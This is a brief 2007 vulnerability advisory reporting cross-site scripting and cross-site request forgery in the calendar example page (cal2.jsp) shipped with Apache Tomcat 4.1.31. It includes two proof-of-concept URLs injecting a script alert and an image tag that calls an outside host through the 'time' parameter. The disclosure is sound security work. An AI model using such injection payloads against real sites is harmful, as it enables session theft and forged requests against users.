Apache tomcat calendar example cross site scripting and cross site request forgery vulnerability

2007-09-04T00:00:00
ID SECURITYVULNS:DOC:17934
Type securityvulns
Reporter Securityvulns
Modified 2007-09-04T00:00:00

Description

Apache Tomcat/4.1.31 ships with built in examples. One of the example calendar.jsp suffers from input validation error and could be exploited for cross site scriptingand cross site request forgery.

XSS http://myserver:myport/examples/jsp/cal/cal2.jsp?time=8am%3cscript%3eale rt("XSS!")%3c%2fscript%3e

XSRF http://myserver:myport/examples/jsp/cal/cal2.jsp?time=><img%20src="http: //xsrfxonfirmed.com/testimage.gif">

-

Tushar Vartak